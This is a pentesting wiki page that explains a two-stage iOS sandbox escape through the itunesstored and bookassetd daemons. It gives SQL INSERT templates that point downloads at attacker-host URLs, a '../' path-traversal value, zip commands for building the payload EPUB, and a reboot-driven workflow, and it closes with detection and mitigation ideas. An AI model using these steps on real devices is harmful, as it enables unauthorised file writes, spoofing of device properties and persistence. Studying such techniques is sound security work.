itunesstored-bookassetd-sandbox-escape.md (11795B)
1 --- 2 title: "itunesstored and bookassetd Sandbox Escape" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # `itunesstored` and `bookassetd` Sandbox Escape 14 15 ## Overview 16 17 Recent research shows that two pre-installed iOS daemons, **`itunesstored`** (download manager) and **`bookassetd`** (Books/iBooks asset manager), blindly trust user-writable SQLite metadata. By dropping crafted `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` files plus a minimal EPUB archive, an attacker who can write under `/var/mobile/Media/` can coerce these daemons into **arbitrary file writes across most `mobile`-owned paths inside `/private/var/`**. The primitives survive reboots and let you tamper with system-group caches such as `systemgroup.com.apple.mobilegestaltcache` to spoof device properties or persist configuration.<sup>[[1]](#references)</sup> 18 19 Key properties:<sup>[[1]](#references)</sup> 20 21 - Works on devices up to at least **iOS 26.2b1** (tested on iPhone 12 / iOS 26.0.1). 22 - Writable targets include `SystemGroup` caches, `/private/var/mobile/Library/FairPlay`, `/private/var/mobile/Media`, and other `mobile`-owned files. Writes to `root`-owned files fail. 23 - Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads. 24 25 ## Threat Model & Requirements 26 27 1. **Local filesystem access** to `/var/mobile/Media/Downloads/` and `/var/mobile/Media/Books/` (via AFC clients like 3uTools, i4.cn, or [`afcclient`](https://github.com/emonti/afcclient) over USB, or any prior compromise). 28 2. **HTTP server** hosting attacker files (`BLDatabaseManager.sqlite`, `iTunesMetadata.plist`, crafted EPUB) exposed through URLs such as `https://ATTACKER_HOST/fileprovider.php?type=...`. 29 3. Ability to **reboot the device multiple times** to make each daemon reload its database. 30 4. Knowledge of the **Books system-group UUID** so the Stage 1 write lands in the right container (found via syslog).<sup>[[1]](#references)</sup> 31 32 ## Stage 1 – Abusing `downloads.28.sqlitedb` via `itunesstored` 33 34 `itunesstored` processes `/var/mobile/Media/Downloads/downloads.28.sqlitedb`. The `asset` table stores URL + destination metadata and is treated as trusted input. Crafting a row that points to an attacker URL and sets `local_path` to `.../Documents/BLDatabaseManager/BLDatabaseManager.sqlite` inside the Books SystemGroup causes `itunesstored` to download and overwrite the Books database with attacker content on boot.<sup>[[1]](#references)</sup> 35 36 ### Locate the Books SystemGroup UUID 37 38 1. Collect a syslog archive with [`pymobiledevice3`](https://github.com/doronz88/pymobiledevice3): 39 ```bash 40 pymobiledevice3 syslog collect logs.logarchive 41 ``` 42 2. Open `logs.logarchive` in **Console.app** and search for `bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite`. 43 3. Record `<UUID>` and substitute it in the SQL payload. 44 45 ### Malicious `asset` row 46 47 <details> 48 <summary>Stage 1 INSERT template</summary> 49 50 ```sql 51 INSERT INTO "main"."asset" ( 52 "pid","download_id","asset_order","asset_type","bytes_total", 53 "url","local_path","destination_url","path_extension","retry_count", 54 "http_method","initial_odr_size","is_discretionary","is_downloaded", 55 "is_drm_free","is_external","is_hls","is_local_cache_server", 56 "is_zip_streamable","processing_types","video_dimensions", 57 "timeout_interval","store_flavor","download_token","blocked_reason", 58 "avfoundation_blocked","service_type","protection_type", 59 "store_download_key","etag","bytes_to_hash","hash_type","server_guid", 60 "file_protection","variant_id","hash_array","http_headers", 61 "request_parameters","body_data","body_data_file_path","sinfs_data", 62 "dpinfo_data","uncompressed_size","url_session_task_id" 63 ) VALUES ( 64 1234567890,6936249076851270150,0,'media',NULL, 65 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', 66 '/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite', 67 NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, 68 NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, 69 NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 70 ); 71 ``` 72 73 </details> 74 75 **Fields that matter:** 76 77 - `url`: attacker-controlled endpoint returning the malicious `BLDatabaseManager.sqlite`. 78 - `local_path`: Books system-group `BLDatabaseManager.sqlite` file determined above. 79 - Control flags: keep defaults (`asset_type='media'`, `path_extension='epub'`, booleans set to 0/1 as in the template) so the daemon accepts the task. 80 81 ### Deployment 82 83 1. Delete stale `/var/mobile/Media/Downloads/*` entries to avoid races. 84 2. Replace `downloads.28.sqlitedb` with the crafted DB via AFC. 85 3. Reboot → `itunesstored` downloads the Stage 2 database and drops `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`. 86 4. Copy that plist to `/var/mobile/Media/Books/iTunesMetadata.plist`; Stage 2 expects it at that location. 87 88 ## Stage 2 – Abusing `BLDatabaseManager.sqlite` via `bookassetd` 89 90 `bookassetd` owns broader filesystem entitlements and trusts the `ZBLDOWNLOADINFO` table. By inserting a fake purchase row that references attacker URLs and a traversal in `ZPLISTPATH`, the daemon downloads your EPUB to `/var/mobile/Media/Books/asset.epub` and later unpacks metadata into **any `mobile`-owned path reachable through `../../..` escape sequences**.<sup>[[1]](#references)</sup> 91 92 ### Malicious `ZBLDOWNLOADINFO` row 93 94 <details> 95 <summary>Stage 2 INSERT template</summary> 96 97 ```sql 98 INSERT INTO "ZBLDOWNLOADINFO" ( 99 "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", 100 "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", 101 "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", 102 "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", 103 "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", 104 "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", 105 "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", 106 "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", 107 "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", 108 "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", 109 "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", 110 "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", 111 "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", 112 "ZSINFDATA","ZFILEATTRIBUTES" 113 ) VALUES ( 114 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 115 0,0,0,NULL,4648,2,'765107108',NULL, 116 767991550.119197,NULL,767991353.245275,NULL,NULL, 117 '/private/var/mobile/Media/Books/asset.epub', 118 'productType=PUB&salableAdamId=765107106&...', 119 'https://p19-buy.itunes.apple.com/...', 120 '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', 121 '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', 122 NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, 123 '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 124 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 125 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 126 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL 127 ); 128 ``` 129 130 </details> 131 132 Important fields: 133 134 - `ZASSETPATH`: on-disk EPUB location controlled by the attacker. 135 - `ZURL`/`ZPERMLINK`: attacker URLs hosting the EPUB and auxiliary plist. 136 - `ZPLISTPATH`: `../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library` – the **path traversal base** appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target. 137 - Purchase metadata (`ZSTOREIDENTIFIER`, names, timestamps) mimic legitimate entries so the daemon does not discard the row. 138 139 After copying the malicious DB into `/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite` (courtesy of Stage 1) and rebooting twice, `bookassetd` will (1) download the EPUB, (2) process it and write the derived plist under the traversed path. 140 141 ## Crafting the EPUB Payload 142 143 `bookassetd` respects the EPUB ZIP format: `mimetype` must be the first uncompressed entry. To map EPUB contents to the MobileGestalt cache, build a directory tree that mirrors the desired path relative to `ZPLISTPATH`.<sup>[[1]](#references)</sup> 144 145 ```text 146 Caches/ 147 ├── mimetype 148 └── com.apple.MobileGestalt.plist 149 ``` 150 151 Create the archive: 152 153 ```bash 154 zip -X0 hax.epub Caches/mimetype 155 zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist 156 ``` 157 158 - `mimetype` typically contains the literal `application/epub+zip`. 159 - `Caches/com.apple.MobileGestalt.plist` holds the attacker-controlled payload that will land at `.../Library/Caches/com.apple.MobileGestalt.plist`. 160 161 ## Orchestration Workflow 162 163 1. **Prepare files** on the attacker HTTP server and craft both SQLite DBs with host/UUID-specific values. 164 2. **Replace `downloads.28.sqlitedb`** on the device and reboot → Stage 1 downloads the malicious `BLDatabaseManager.sqlite` and emits `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`. 165 3. **Copy `iTunesMetadata.plist`** to `/var/mobile/Media/Books/iTunesMetadata.plist` (repeat if the daemon deletes it). 166 4. **Reboot again** → `bookassetd` downloads `asset.epub` to `/var/mobile/Media/Books/` using Stage 2 metadata. 167 5. **Reboot a third time** → `bookassetd` processes the downloaded asset, follows `ZPLISTPATH`, and writes the EPUB contents into the targeted SystemGroup path (e.g., `com.apple.MobileGestalt.plist`). 168 6. **Verify** by reading the overwritten plist or observing that MobileGestalt-derived properties (model identifier, activation flags, etc.) change accordingly. 169 170 The same pattern lets you drop files under other `mobile`-owned caches, such as FairPlay state or persistence directories, enabling stealthy tampering without needing a kernel exploit. 171 172 ## Tooling & Operational Notes 173 174 - **`pymobiledevice3 syslog collect logs.logarchive`** – extract log archives to discover the Books SystemGroup UUID. 175 - **Console.app** – filter for `bookassetd [Database]: Store is at ...` to recover the exact container path. 176 - **AFC clients (`afcclient`, 3uTools, i4.cn)** – push/pull SQLite DBs and plist files over USB without jailbreak. 177 - **`zip`** – enforce EPUB ordering constraints when packaging payloads. 178 - **Public PoC** – <https://github.com/hanakim3945/bl_sbx> ships baseline SQLite/EPUB templates you can customize.<sup>[[2]](#references)</sup> 179 180 ## Detection & Mitigation Ideas 181 182 - Treat `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` as untrusted input: validate that `local_path` / `ZPLISTPATH` stay within approved sandboxes and reject fully qualified paths or traversal tokens. 183 - Monitor for AFC writes that replace these databases or for unexpected downloads initiated by `itunesstored` / `bookassetd` shortly after boot. 184 - Harden `bookassetd` unpacking to `realpath()` the output target and ensure it cannot escape the Books container before writing files. 185 - Restrict AFC / USB file copy channels or require user interaction before allowing replacement of Books/iTunes metadata files. 186 187 ## References 188 189 - [1] [itunesstored & bookassetd sbx escape](https://hanakim3945.github.io/posts/download28_sbx_escape/) 190 - [2] [bl_sbx PoC repository](https://github.com/hanakim3945/bl_sbx)